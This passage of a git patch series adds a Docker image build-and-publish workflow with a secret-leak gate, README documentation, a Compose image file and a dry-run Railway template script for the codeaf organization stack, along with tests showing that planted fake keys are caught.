self-hoster checks (README.md "Published images"). + - name: Build + uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0 + with: + context: ${{ matrix.context }} + file: ${{ matrix.file }} + build-args: ${{ matrix.build_args }} + platforms: linux/${{ matrix.arch }} + load: true + push: false + provenance: false + sbom: false + tags: ${{ env.LOCAL_IMAGE }} + labels: | + org.opencontainers.image.title=${{ matrix.image }} + org.opencontainers.image.source=https://github.com/${{ github.repository }} + org.opencontainers.image.revision=${{ github.sha }} + org.opencontainers.image.version=${{ needs.plan.outputs.short }} + org.opencontainers.image.ref.name=${{ github.ref_name }} + org.opencontainers.image.vendor=Agent-Field + cache-from: type=gha,scope=org-images-${{ matrix.image }}-${{ matrix.arch }} + cache-to: type=gha,scope=org-images-${{ matrix.image }}-${{ matrix.arch }},mode=max + + # The codeaf image only: the binary is this commit's, and the sessionhost is in it. + - name: The codeaf binary is this commit's and has the sessionhost + if: matrix.image == 'codeaf-org' + run: | + set -euo pipefail + out="$(docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" version)" + echo "${out}" + case "${out}" in *"${GITHUB_SHA::10}"*) ;; *) echo "codeaf version does not name ${GITHUB_SHA::10}" >&2; exit 1 ;; esac + docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" sessionhost --help > /dev/null + + # THE LEAK GATE. A finding fails the job here, before any login. What it checks is written at the top of + # deploy/org/gate/image-gate.py and in deploy/org/README.md "Published images". + - name: Leak gate + run: | + python3 deploy/org/gate/image-gate.py "${LOCAL_IMAGE}" \ + --expect-commit "${GITHUB_SHA}" --summary "${GITHUB_STEP_SUMMARY}" + + - name: Not pushing (no registry credentials in this repository) + if: needs.plan.outputs.push != 'true' + run: | + echo "### ${{ matrix.image }} (${{ matrix.arch }}): built and scanned, not pushed" >> "${GITHUB_STEP_SUMMARY}" + + - name: Log in to Docker Hub + if: needs.plan.outputs.push == 'true' + uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + # The gate passed, so the image it read is the image that goes out: tag it and push it, no rebuild. Only the + # per-platform tag is pushed here; the public tags are made by the `manifest` job once every image has passed. + - name: Push + if: needs.plan.outputs.push == 'true' + run: | + set -euo pipefail + target="${DOCKERHUB_NAMESPACE}/${{ matrix.image }}:${SHORT}-${{ matrix.arch }}" + docker tag "${LOCAL_IMAGE}" "${target}" + docker push "${target}" + echo "pushed ${target}" >> "${GITHUB_STEP_SUMMARY}" + + # The public tags: one multi-platform manifest per image, made from the two per-platform images that passed the gate. It + # runs only when every leg of every image succeeded and the run may push, so a failed gate leaves every public tag where it + # was. No image bytes move: a manifest list names the pushed ones. + manifest: + name: ${{ matrix.image }} tags + needs: [plan, images] + if: needs.plan.outputs.push == 'true' + runs-on: ubuntu-latest + timeout-minutes: 15 + strategy: + fail-fast: false + matrix: + image: + - codeaf-org + - codeaf-org-agentfield + - codeaf-org-swe-af + - codeaf-org-pr-af + - codeaf-org-modelstub + - codeaf-org-gitstub + steps: + - uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1 + - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4.8.0 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + - name: Tag + env: + SHORT: ${{ needs.plan.outputs.short }} + TAGS: ${{ needs.plan.outputs.tags }} + run: | + set -euo pipefail + repo="${DOCKERHUB_NAMESPACE}/${{ matrix.image }}" + for tag in ${TAGS}; do + docker buildx imagetools create -t "${repo}:${tag}" "${repo}:${SHORT}-amd64" "${repo}:${SHORT}-arm64" + echo "tagged ${repo}:${tag}" >> "${GITHUB_STEP_SUMMARY}" + done From e752f29f5d5892855d3cd4dfc094bf9eb63e9113 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:20:26 -0500 Subject: [PATCH 075/176] deploy/org: run Compose from the published images, and make the Railway template from them images.env points the existing *_ORG_IMAGE variables at the published names (ORG_REGISTRY and ORG_TAG choose whose and which). railway/make-template.sh builds a draft Railway template from image sources with per-deploy generated secrets and no smoke-only variable; it is a dry run unless given --apply and has no publish call. The README gains a Published images section. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 79 +++++++++++- deploy/org/images.env | 22 ++++ deploy/org/railway/make-template.sh | 189 ++++++++++++++++++++++++++++ 3 files changed, 288 insertions(+), 2 deletions(-) create mode 100644 deploy/org/images.env create mode 100755 deploy/org/railway/make-template.sh diff --git a/deploy/org/README.md b/deploy/org/README.md index a36ccc9ced..9d9db88a85 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -276,12 +276,87 @@ or your environment. A service that is given a key as a mounted file can use `AG `OPENROUTER_API_KEY_FILE` or `GH_TOKEN_FILE` instead. Treat `.env` like a password file (`setup.sh` writes it mode 600); it is ignored by git and by the image build. +## Published images + +Every image of this stack is built by `.github/workflows/org-images.yml` on each push to `dev` (and on a manual run), scanned +for leaks, and, in a repository that has Docker Hub credentials, pushed. You can run the stack from them without building +anything, and the Railway template (`railway/make-template.sh`) names them, because a Railway template cannot take a +repository from an organization that has not installed Railway's GitHub App but can take public images. + +| Image (Docker Hub, namespace `agentfield`) | What it is | Compose service | +| --- | --- | --- | +| `agentfield/codeaf-org` | codeaf **built from source at the tagged commit** with `make build` (the organization server, the factory runner and the hosted chats' sessionhost; the first argument or `CODEAF_ROLE` picks the role) | `codeaf`, `runner`, `sessionhost` | +| `agentfield/codeaf-org-agentfield` | the published AgentField control plane, pinned by digest (built with `-tags "embedded sqlite_fts5"`), plus a health check and a volume hand-off | `agentfield` | +| `agentfield/codeaf-org-swe-af` | SWE-AF at the commit `swe-af.Dockerfile` pins | `swe-af` | +| `agentfield/codeaf-org-pr-af` | PR-AF at the commit `pr-af.Dockerfile` pins | `pr-af` | +| `agentfield/codeaf-org-modelstub`, `agentfield/codeaf-org-gitstub` | the keyless smoke test's scripted model and git host | `modelstub`, `gitstub` (profile `stub`) | + +The names all start with `codeaf-org` so none can be mistaken for `agentfield/control-plane`, which `codeaf-org-agentfield` is +built on. Tags: `<12-character commit id>` is one exact build and never moves; `dev` moves with every push to `dev`; +`branch-` moves with every push to that branch (a `/` in the branch name becomes `-`). Each of those is a multi-platform image +(`linux/amd64` and `linux/arm64`); the single-platform images it is made from stay as `<12-character commit id>-amd64` and `-arm64`. + +**Run from them.** `images.env` points the `*_ORG_IMAGE` variables at the published names; `.env` still holds your keys: + +```sh +docker compose --env-file .env --env-file images.env pull +docker compose --env-file .env --env-file images.env up -d --no-build +ORG_TAG=<12-character commit id> docker compose --env-file .env --env-file images.env pull # one exact build: how to run it for real +``` + +Without `images.env`, `docker compose up -d --build` still builds everything here, as before. + +**Your own registry.** Set `ORG_REGISTRY` (a Docker Hub namespace or a registry path such as `ghcr.io/my-org`) when you pull. To +have the workflow publish there, give the repository the secrets `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN` and, for a +namespace other than `agentfield`, the variable `DOCKERHUB_NAMESPACE`. Without both secrets the workflow still builds and +scans every image and pushes nothing. To build the codeaf image yourself from the repository root: + +```sh +docker build -f deploy/org/codeaf.Dockerfile --build-arg ORG_DIR=deploy/org --build-arg CODEAF_BINARY_FROM=source \ + --build-arg SOURCE_COMMIT=$(git rev-parse HEAD) --label org.opencontainers.image.revision=$(git rev-parse HEAD) -t codeaf-org/codeaf:local . +``` + +**Check which commit an image is.** The workflow labels every image with the commit it was built from, and `codeaf version` +inside the codeaf image names it too: + +```sh +docker image inspect --format '{{ index .Config.Labels "org.opencontainers.image.revision" }}' agentfield/codeaf-org:dev +docker run --rm --entrypoint codeaf agentfield/codeaf-org:dev version +``` + +The label is the full commit id; compare it with `git rev-parse` on a checkout, or open `https://github.com/Agent-Field/codeaf/commit/`. +An image built any other way has the label only if its builder passed `--label` as above. + +**The leak gate.** The workflow runs `deploy/org/gate/image-gate.py` on each built image BEFORE any push, and a finding fails +the job. The image it scanned is the image it pushes: nothing is rebuilt between the two. It reads the image's layers (including +a layer a later layer deleted), its configuration and its build history, and never prints a value it finds: only the check, +the layer, the path, the rule, and the first four characters and length of the match. + +| Check | What fails | +| --- | --- | +| A1 | a finding of trivy's secret scanner (pinned by digest; its built-in rules plus `gate/trivy-secret.yaml`, which adds OpenRouter and Anthropic keys) | +| A2 | a key or token shape (OpenRouter, Anthropic, OpenAI, GitHub, AWS, Google, Slack, Stripe, JWT, a PEM private-key block, a registry `auth` blob) in the bytes of any file of any layer, binaries included. Skipped: package docs, man pages, locale and zoneinfo data, package databases, CA bundles, the Python and Perl standard libraries | +| B1 | an `ENV` or label whose name says secret (key, token, secret, password, credential, auth) with a value that is not empty, a path, a number or a boolean, or any value shaped like a key | +| B2 | the build history shows an `ARG` whose name says secret (valued or not: a secret is never a build argument), a `NAME=value` that B1 would refuse, or a key shape | +| C1 | `railway.app`, `up.railway`, `railway.internal`, or credentials in a `localhost` URL anywhere, compiled programs included; any other `.internal` host name (except `metadata.google.internal` and Docker's own) and any `10.`, `192.168.` or `172.16`-`172.31.` address in the TEXT files our build added, outside the distribution's own trees (`/usr/lib`, `/usr/share`, `/bin`, `/usr/bin`, ...). Compiled programs come from public source, so an example address in an error message is not a leak; a range with a `/prefix` is not an address | +| C2 | the image's revision label is not the commit that was built | + +`gate/selftest.sh` proves the gate fails what it should: it builds throwaway images with fake keys, a key in a deleted layer, a +secret `ENV`, label and build argument, and private hosts planted in them, requires each to fail the check meant to catch it, and +requires a clean image (with a network range, the metadata host and a documentation URL in it) to pass. `gate/context-check.sh` +plants `.env` files, key files and a profile folder across a copy of the repository and requires that none enters the codeaf +build context, which is deny-by-default (`codeaf.Dockerfile.dockerignore`; the other Dockerfiles share `.dockerignore`). Both run +in CI before any image is built, beside `gate/pins-check.sh`, which fails a Dockerfile whose base image or syntax frontend has no +digest. To move a pin, resolve the tag again (`docker buildx imagetools inspect --format '{{.Manifest.Digest}}'`) and change +tag and digest together. + ## Railway The same Dockerfiles run on Railway as one project: five services, a volume on each, private networking between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds its own -Dockerfile from this folder. (A one-click Railway template of this is the next step; until then it is built by hand, -below, and the POC that proved it ran the keyless smoke test on itself.) +Dockerfile from this folder. (A Railway template needs images, not a repository: `railway/make-template.sh` makes a draft one +from the published images above, and the table below is the same configuration by hand. The POC that proved the Dockerfile route +ran the keyless smoke test on itself.) Create an empty project, then one service per row. For the four built services choose **GitHub repo**, set **Root Directory** to `deploy/org`, and set the variable `RAILWAY_DOCKERFILE_PATH` (or the service's diff --git a/deploy/org/images.env b/deploy/org/images.env new file mode 100644 index 0000000000..c3b8744c62 --- /dev/null +++ b/deploy/org/images.env @@ -0,0 +1,22 @@ +# Run the stack from the PUBLISHED images instead of building it (README.md "Published images"): +# +# docker compose --env-file .env --env-file images.env pull +# docker compose --env-file .env --env-file images.env up -d --no-build +# +# Nothing in this file is a secret and none is baked into an image; keys still come from .env or your environment. +# +# ORG_REGISTRY is whose Docker Hub namespace (or registry path) the images come from: the organization's own by default, +# or yours if you build and push them yourself (the workflow .github/workflows/org-images.yml does it for a repository +# that has DOCKERHUB_USERNAME and DOCKERHUB_TOKEN secrets and a DOCKERHUB_NAMESPACE variable): +# ORG_REGISTRY=ghcr.io/my-org docker compose --env-file .env --env-file images.env pull (or put it in .env) +# ORG_TAG is the tag: `dev` follows the dev branch; a 12-character commit id is one exact build. Pin one for anything you +# keep running, and read the commit it names from the image's label (README.md "Published images"). +ORG_REGISTRY=${ORG_REGISTRY:-agentfield} +ORG_TAG=${ORG_TAG:-dev} + +CODEAF_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org:${ORG_TAG} +AGENTFIELD_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org-agentfield:${ORG_TAG} +SWE_AF_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org-swe-af:${ORG_TAG} +PR_AF_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org-pr-af:${ORG_TAG} +MODELSTUB_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org-modelstub:${ORG_TAG} +GITSTUB_ORG_IMAGE=${ORG_REGISTRY}/codeaf-org-gitstub:${ORG_TAG} diff --git a/deploy/org/railway/make-template.sh b/deploy/org/railway/make-template.sh new file mode 100755 index 0000000000..b5e9b3d37c --- /dev/null +++ b/deploy/org/railway/make-template.sh @@ -0,0 +1,189 @@ +#!/usr/bin/env bash +# Makes a DRAFT Railway template of the org stack from the PUBLISHED IMAGES (README.md "Published images"). +# +# ./make-template.sh dry run: prints every Railway call it would make, changes nothing (the default) +# ./make-template.sh --apply makes a fresh source project, adds the five services from their images, and turns +# the project into an UNPUBLISHED template draft in your workspace +# +# ORG_REGISTRY=agentfield ORG_TAG=dev which images (the same two variables as images.env); a 12-character commit id +# as ORG_TAG names one exact build, which is what a template you share should use +# RAILWAY_WORKSPACE= the workspace the project and the draft go in (needed with --apply) +# TEMPLATE_PROJECT=codeaf-org-template the name of the source project +# +# WHAT THE TEMPLATE IS, AND IS NOT +# * Every service is an IMAGE SOURCE. No GitHub repository, no GitHub App, no deployment trigger: the call that stopped +# the first attempt ("Cannot create deployment trigger ... no one in the project has access to it") is not made. +# * No real value is ever in it. The two keys that must exist (the AgentField API key and the server key that seals +# people's own keys) are Railway template functions, `${{secret(64, ...)}}`, which Railway fills with a NEW random value +# for every deploy. The other services reference the AgentField key as `${{agentfield.AGENTFIELD_API_KEY}}`. The model +# key and GitHub token are references to empty inputs on the `codeaf` service. This script contains no secret and +# refuses (see var()) to carry any variable named like a secret whose value is not empty or a `${{...}}` expression. +# * The smoke-test switches (RUNNER_SELFTEST, SMOKE_FIXTURE_REPO, the model stub and git stub) are not in it. +# * It is never published. This script has no `railway templates publish` call and never will; the draft opens in the +# dashboard's template editor, where the person who owns it decides. +# * Hosted chats (the sessionhost service) are not in it: they need Linux capabilities Railway services do not take. See +# README.md "Hosted chats". +# +# NOT YET RUN AGAINST RAILWAY: the images did not exist on Docker Hub when this was written. The calls are the Railway CLI's +# documented ones (`railway add --image`, `railway volume add`, `railway environment edit --service-config`, `railway +# templates create`); the first --apply is the first real test, and a service-by-service failure leaves a project you can +# delete (it is only the SOURCE of the draft; delete it once the draft exists). +# shellcheck disable=SC2016 # the ${{...}} in single quotes are Railway expressions, not shell expansions +set -euo pipefail + +APPLY=0 +case "${1:-}" in + --apply) APPLY=1 ;; + ""|--dry-run) ;; + *) echo "usage: $0 [--dry-run|--apply]" >&2; exit 2 ;; +esac + +REGISTRY="${ORG_REGISTRY:-agentfield}" +TAG="${ORG_TAG:-dev}" +PROJECT="${TEMPLATE_PROJECT:-codeaf-org-template}" +CODEAF_IMAGE="${REGISTRY}/codeaf-org:${TAG}" +AGENTFIELD_IMAGE="${REGISTRY}/codeaf-org-agentfield:${TAG}" +SWE_AF_IMAGE="${REGISTRY}/codeaf-org-swe-af:${TAG}" +PR_AF_IMAGE="${REGISTRY}/codeaf-org-pr-af:${TAG}" + +# Variable names that mean secret; a value for one must be empty or a Railway expression, never a literal. +SECRETISH='(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|AUTH)' +# Smoke-test switches: never in a template. +SMOKE_ONLY='^(RUNNER_SELFTEST|SMOKE_FIXTURE_REPO|SWE_SMOKE_FIXTURE_REPO|CODEAF_BASE_URL|STUB_DELAY|STUB_COST_USD|GITSTUB_TOKEN)$' +KEY64='${{secret(64, "abcdef0123456789")}}' # openssl rand -hex 32: a new value for every deploy + +calls=0 +# quote ARG: ARG as one shell word, in single quotes when it needs them, so a dry run reads as the command it stands for. +quote() { + case "$1" in + ""|*[!A-Za-z0-9_@%+=:,./-]*) printf "'%s'" "$(printf '%s' "$1" | sed "s/'/'\\\\''/g")" ;; + *) printf '%s' "$1" ;; + esac +} +rail() { + calls=$((calls + 1)) + printf '+ railway' + local arg + for arg in "$@"; do printf ' '; quote "$arg"; done + printf '\n' + if [ "$APPLY" = 1 ]; then railway "$@"; fi +} + +# check_var NAME VALUE: refuses anything that would put a real value, or a smoke-test switch, in the template. +check_var() { + local name="$1" value="$2" + if printf '%s' "$name" | grep -Eq "$SMOKE_ONLY"; then + echo "refusing smoke-only variable $name" >&2; exit 3 + fi + if printf '%s' "$name" | grep -Eiq "(^|_)${SECRETISH}(_|$)"; then + case "$value" in + ""|'${{'*) ;; + *) echo "refusing a literal value for $name: a secret in a template must be empty or a \${{...}} expression" >&2; exit 3 ;; + esac + fi +} + +# service NAME IMAGE VAR=value... : adds one image-sourced service with its variables (railway add --variables takes one +# pair each). Every pair goes through check_var in this shell, so a refusal stops the script before anything is created. +service() { + local name="$1" image="$2"; shift 2 + local args=() pair + for pair in "$@"; do + check_var "${pair%%=*}" "${pair#*=}" + args+=(--variables "$pair") + done + rail add --service "$name" --image "$image" "${args[@]}" --json +} + +if [ "$APPLY" = 1 ]; then + : "${RAILWAY_WORKSPACE:?set RAILWAY_WORKSPACE to the workspace id or name the project and the draft go in}" + command -v railway >/dev/null || { echo "the railway CLI is not installed" >&2; exit 2; } + railway whoami >/dev/null + # The template names images, so they must exist: a draft that points at nothing would only fail on its first deploy. + for image in "$CODEAF_IMAGE" "$AGENTFIELD_IMAGE" "$SWE_AF_IMAGE" "$PR_AF_IMAGE"; do + docker buildx imagetools inspect "$image" >/dev/null 2>&1 || { echo "image $image is not published (or not readable): stopping before anything is created" >&2; exit 2; } + done + # `railway init` links the current directory to the new project; keep that out of any checkout. + cd "$(mktemp -d)" +else + echo "# DRY RUN: nothing is changed. Run with --apply (and RAILWAY_WORKSPACE) to make the draft." +fi + +rail init --name "$PROJECT" --workspace "${RAILWAY_WORKSPACE:-}" --json + +# --- agentfield: the control plane. One volume, a health check, a generated API key. ----------------------------------------------- +service agentfield "$AGENTFIELD_IMAGE" \ + "AGENTFIELD_API_KEY=$KEY64" \ + AGENTFIELD_HOME=/data \ + AGENTFIELD_CONFIG_FILE=/dev/null \ + AGENTFIELD_PORT=8080 \ + PORT=8080 \ + AGENTFIELD_STORAGE_MODE=local \ + AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH=/data/agentfield.db \ + AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt \ + AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true \ + AGENTFIELD_TELEMETRY_ENABLED=false +rail volume add --service agentfield --mount-path /data --json +rail environment edit --service-config agentfield deploy.healthcheckPath /api/v1/health --message "agentfield health check" + +# --- codeaf: the organization server, the one service with a public domain. Holds the template's two inputs. -------------------------- +# CODEAF_TRUSTED_PROXIES is Railway's edge range: without it password sign-in over the public https name is refused as plain http. +service codeaf "$CODEAF_IMAGE" \ + CODEAF_ROLE=server \ + PORT=8787 \ + "CODEAF_ORG_NAME=codeaf organization" \ + 'CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}' \ + CODEAF_TRUSTED_PROXIES=100.64.0.0/10 \ + "CODEAF_SERVER_KEY=$KEY64" \ + OPENROUTER_API_KEY= \ + GH_TOKEN= +rail volume add --service codeaf --mount-path /data --json +rail domain --service codeaf --port 8787 --json + +# --- runner: the factory runner, the same image in its runner role. -------------------------------------------------------------------- +service runner "$CODEAF_IMAGE" \ + CODEAF_ROLE=runner \ + 'AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080' \ + 'AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}' \ + ORG_MODEL=deepseek/deepseek-v4-flash-0731 \ + 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ + 'GH_TOKEN=${{codeaf.GH_TOKEN}}' +rail volume add --service runner --mount-path /data --json + +# --- the reasoner nodes ---------------------------------------------------------------------------------------------------------------------- +service swe-af "$SWE_AF_IMAGE" \ + NODE_ID=swe-planner \ + 'AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080' \ + 'AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}' \ + SWE_HITL_NATIVE=1 \ + SWE_FENCE=off \ + SWE_PRO_ENGINE=0 \ + SWE_DEFAULT_MODEL=openrouter/deepseek/deepseek-v4-flash-0731 \ + 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ + 'GH_TOKEN=${{codeaf.GH_TOKEN}}' +rail volume add --service swe-af --mount-path /workspaces --json + +service pr-af "$PR_AF_IMAGE" \ + NODE_ID=pr-af \ + PORT=8007 \ + 'AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080' \ + 'AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}' \ + 'AGENT_CALLBACK_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8007' \ + PR_AF_MODEL=deepseek/deepseek-v4-flash-0731 \ + 'OPENROUTER_API_KEY=${{codeaf.OPENROUTER_API_KEY}}' \ + 'GH_TOKEN=${{codeaf.GH_TOKEN}}' +rail volume add --service pr-af --mount-path /workspaces --json + +# --- the draft. `templates create` clones the project into an UNPUBLISHED template; there is no publish call here. ----------------- +rail templates create --json + +if [ "$APPLY" = 1 ]; then + cat < Date: Tue, 24 Nov 2026 10:20:26 -0500 Subject: [PATCH 076/176] docs: change entry for the published org images Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2899-org-images.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2899-org-images.md diff --git a/docs/changes/unreleased/2899-org-images.md b/docs/changes/unreleased/2899-org-images.md new file mode 100644 index 0000000000..f70a90bcac --- /dev/null +++ b/docs/changes/unreleased/2899-org-images.md @@ -0,0 +1,15 @@ +--- +kind: added +title: The org stack is published as scanned Docker images, and a Railway template is made from them +pr: 2899 +surface: [factory, build, docs] +invalidates: + - "Was true: the self-hosted organization stack could only be run by building every image from deploy/org's Dockerfiles on the machine that runs it, the codeaf image there was a released binary that had no sessionhost until a release carried one, and a Railway template needed the repository through Railway's GitHub App, which the organization has not installed. Is true: .github/workflows/org-images.yml builds six images from the pushed commit (the codeaf image from source with make build, so it carries that commit's sessionhost), scans them for leaks before any push and, in a repository that has Docker Hub credentials, pushes them; Compose runs from them with images.env, and deploy/org/railway/make-template.sh makes a draft Railway template from image sources." + - "Was true: deploy/org's build contexts only kept .env files out and its base images were named by tag. Is true: the contexts are deny-by-default (a planted .env, key file or profile folder is proven not to enter the codeaf build), and every base image and the Dockerfile syntax frontend is pinned by digest." +--- + +The images are `codeaf-org`, `codeaf-org-agentfield`, `codeaf-org-swe-af`, `codeaf-org-pr-af`, `codeaf-org-modelstub` and +`codeaf-org-gitstub`, tagged with the 12-character commit id, `dev` and `branch-`. `deploy/org/gate/image-gate.py` checks +each built image for secrets, key-shaped values in the configuration and build history, and private hostnames, and the image it +scans is the image that is pushed. Nothing is pushed unless the repository has `DOCKERHUB_USERNAME` and `DOCKERHUB_TOKEN`. +`deploy/org/README.md`, "Published images", has the names, the checks and how to verify an image's commit. From 1b718d9eb65218ff87ca17943d2477b629e51ca7 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:22:02 -0500 Subject: [PATCH 077/176] deploy/org/gate: make context-check.sh executable, and make the self-test require trivy to fire on key files Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/gate/context-check.sh | 0 deploy/org/gate/selftest.sh | 14 +++++++++----- 2 files changed, 9 insertions(+), 5 deletions(-) mode change 100644 => 100755 deploy/org/gate/context-check.sh diff --git a/deploy/org/gate/context-check.sh b/deploy/org/gate/context-check.sh old mode 100644 new mode 100755 diff --git a/deploy/org/gate/selftest.sh b/deploy/org/gate/selftest.sh index 95281d6e9f..685a9e6bea 100755 --- a/deploy/org/gate/selftest.sh +++ b/deploy/org/gate/selftest.sh @@ -54,7 +54,10 @@ build_and_gate() { local got_exit=$? local ok=1 [ "$got_exit" = "$want_exit" ] || ok=0 - if [ "$want_check" != "-" ]; then grep -q "\[FAIL\] $want_check" "$dir/gate.log" || ok=0; fi + # EXPECT_CHECK may name several checks ("A1 A2"): every one of them must report. + if [ "$want_check" != "-" ]; then + for check in $want_check; do grep -q "\[FAIL\] $check" "$dir/gate.log" || ok=0; done + fi # A gate finding must never print the planted value. for secret in "$OPENROUTER_FAKE" "$GITHUB_FAKE"; do grep -qF "$secret" "$dir/gate.log" && ok=0; done if [ "$ok" = 1 ]; then @@ -78,17 +81,18 @@ ENV OPENROUTER_API_KEY= GH_TOKEN_FILE=/run/secrets/gh CODEAF_SHA256=$(rand_hex 3 LABEL org.opencontainers.image.revision=1111111111111111111111111111111111111111 EOF -# A file from the build context carrying a key (A1 trivy and A2 shapes), each kind. +# A file from the build context carrying a key, each kind. Trivy (A1) must see the three kinds it has rules for (our OpenRouter +# rule, its built-in GitHub-token and private-key rules), so a scanner that silently scans nothing cannot pass this test. new_case file-openrouter-key; printf '{"openrouter":"%s"}\n' "$OPENROUTER_FAKE" >"$WORK/file-openrouter-key/ctx/config.json" -build_and_gate file-openrouter-key 1 A2 <<'EOF' +build_and_gate file-openrouter-key 1 "A1 A2" <<'EOF' COPY ctx/config.json /opt/app/config.json EOF new_case file-github-token; printf 'token: %s\n' "$GITHUB_FAKE" >"$WORK/file-github-token/ctx/hosts.yml" -build_and_gate file-github-token 1 A2 <<'EOF' +build_and_gate file-github-token 1 "A1 A2" <<'EOF' COPY ctx/hosts.yml /home/app/.config/gh/hosts.yml EOF new_case file-private-key; printf '%s\n' "$PEM_FAKE" >"$WORK/file-private-key/ctx/deploy.pem" -build_and_gate file-private-key 1 A2 <<'EOF' +build_and_gate file-private-key 1 "A1 A2" <<'EOF' COPY ctx/deploy.pem /opt/app/deploy.pem EOF new_case file-registry-auth; printf '%s\n' "$AUTH_FAKE" >"$WORK/file-registry-auth/ctx/config.json" From 38e96f125f06b7060eefe0d4239e2a53dbf52a8b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:26:17 -0500 Subject: [PATCH 078/176] deploy/org/gate: check the build context the way a build is given one context-check.sh piped a tar into `docker build` on stdin, and BuildKit applies the Dockerfile-specific ignore file (codeaf.Dockerfile.dockerignore) only to a directory context, so the first CI run showed all 16 planted files entering the probe. It now extracts the repository files plus the planted ones into a directory and builds that, which is what CI's `docker build .` does, and it also plants the .git/config that a checkout leaves a token in. A Windows docker CLI (Docker Desktop from WSL) is detected and given Windows paths. The ignore files lose their entries for the retired spellings; both are deny-by-default and never let those folders in anyway. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.dockerignore | 1 - deploy/org/codeaf.Dockerfile.dockerignore | 2 -- deploy/org/gate/context-check.sh | 32 ++++++++++++++++------- 3 files changed, 22 insertions(+), 13 deletions(-) diff --git a/deploy/org/.dockerignore b/deploy/org/.dockerignore index e33b5d8183..4fec499594 100644 --- a/deploy/org/.dockerignore +++ b/deploy/org/.dockerignore @@ -22,7 +22,6 @@ **/.ssh **/.aws **/.codeaf -**/.aforge **/.git **/__pycache__ **/*.pyc diff --git a/deploy/org/codeaf.Dockerfile.dockerignore b/deploy/org/codeaf.Dockerfile.dockerignore index 13f84329b6..0c8f0c5d4e 100644 --- a/deploy/org/codeaf.Dockerfile.dockerignore +++ b/deploy/org/codeaf.Dockerfile.dockerignore @@ -38,8 +38,6 @@ **/.gnupg **/.docker **/.codeaf -**/.aforge -**/.aforge-v3 **/.claude **/.git **/__pycache__ diff --git a/deploy/org/gate/context-check.sh b/deploy/org/gate/context-check.sh index 7f821653bb..369b9fcba0 100755 --- a/deploy/org/gate/context-check.sh +++ b/deploy/org/gate/context-check.sh @@ -2,9 +2,10 @@ # Proves that no secret can enter the codeaf image's build context: it plants fake .env files, key files, a profile folder # and a notes file all over a copy of the repository's files, builds codeaf.Dockerfile's `context-probe` target (which # copies the whole context into an otherwise empty image) and checks that none of the planted files is in it while the -# files the source build needs are. The planted files exist only in a temporary tar; nothing is written into the tree. +# files the source build needs are. The planted files exist only in a temporary copy; nothing is written into the tree. # -# DOCKER=docker ./context-check.sh [REPO_ROOT] # DOCKER is optional (the wrapper that reaches a docker engine) +# DOCKER=docker ./context-check.sh [REPO_ROOT] # DOCKER is optional (the wrapper that reaches a docker engine); +# # (a Windows docker CLI is detected; DOCKER_WIN_PATHS=0|1 overrides) set -eu root=${1:-$(git rev-parse --show-toplevel)} DOCKER=${DOCKER:-docker} @@ -22,6 +23,7 @@ planted=( .codeaf/config.json .claude/settings.json .aws/credentials + .git/config .ssh/id_ed25519 home/someone/.codeaf/profile.json cmd/codeaf/id_rsa @@ -41,18 +43,28 @@ required=( deploy/org/scripts/sessionhost.sh ) -mkdir -p "$work/plant" +# The context is every file git knows (tracked, or new and not ignored) plus the planted ones: what a build on a checkout, a +# laptop or a CI runner could be handed. It is a DIRECTORY, because the ignore files are applied to a directory context and not +# to a tar piped in on stdin (which hands the whole tree over; a first version of this check used one and proved that). +ctx="$work/context" +mkdir -p "$ctx" +(cd "$root" && git ls-files -z --cached --others --exclude-standard | tar --null -T - -cf -) | tar -C "$ctx" -xf - for path in "${planted[@]}"; do - mkdir -p "$work/plant/$(dirname "$path")" - echo "planted-fake-$RANDOM" >"$work/plant/$path" + mkdir -p "$ctx/$(dirname "$path")" + echo "planted-fake-$RANDOM" >"$ctx/$path" done -# The context is every file git knows (tracked, or new and not ignored) plus the planted ones: what a build on a -# checkout, a laptop or a CI runner could be handed. -(cd "$root" && git ls-files -z --cached --others --exclude-standard | tar --null -T 